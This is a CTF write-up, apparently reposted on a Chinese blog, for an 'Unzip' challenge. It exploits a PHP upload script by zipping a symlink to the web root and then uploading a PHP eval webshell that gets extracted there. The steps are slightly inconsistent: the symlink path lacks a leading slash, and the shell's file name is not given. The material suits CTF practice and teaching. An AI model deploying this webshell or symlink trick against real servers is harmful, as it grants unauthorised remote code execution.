当前位置:   article > 正文

CTFSHOW国赛复现-----Unzip(软连接利用)_国赛 unzip

国赛 unzip
  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. $finfo = finfo_open(FILEINFO_MIME_TYPE);
  5. if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
  6. exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
  7. };
  8. //only this!

分析代码得: 

  1. 1. `error_reporting(0);`:关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示。
  2. 2. `highlight_file(__FILE__);`:使用 PHP 内置的 `highlight_file` 函数,对当前文件(`__FILE__` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。
  3. 3. `$finfo = finfo_open(FILEINFO_MIME_TYPE);`:使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。
  4. 4. `if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){`:使用 `finfo_file` 函数检查上传文件的 MIME 类型。`$_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码。
  5. 5. `exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);`:使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。

大概意思就是题目将我们上传的zip文件放在tmp这个目录下进行解压,因为不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,但是并没有对上传的压缩文件进行严格的检查这会导致漏洞产生

 因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell

这里利用linux构造软连接使得上传文件指向到var/www/html目录下

关于软连接的了解:

linux硬链接与软链接 - crazyYong - 博客园 (cnblogs.com)

 构造软连接

ln -s var/www/html test

压缩文件

zip --symlinks test1.zip test

--symlinks表示压缩软连接 

 上传压缩文件

这时解压文件后是软连接就会实现从tmp指向var/www/html

接下来就是在var/www/html目录下上传一个shell文件就可以了

在test的目录下创建一句话php文件

shell文件内容: 

<?php @eval($_POST['cmd']);?> 

然后再对test进行压缩

zip -r test1.zip test

  

 再上传该压缩包,因为解压后的目录同名所以会覆盖原指定目录

所以此时目录是var/www/html/cmd.php

 上传后访问cmd.php就可以getshell了

参考:

2021深育杯线上初赛官方WriteUp - 先知社区 (aliyun.com)

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/243796
推荐阅读
相关标签
  

闽ICP备14008679号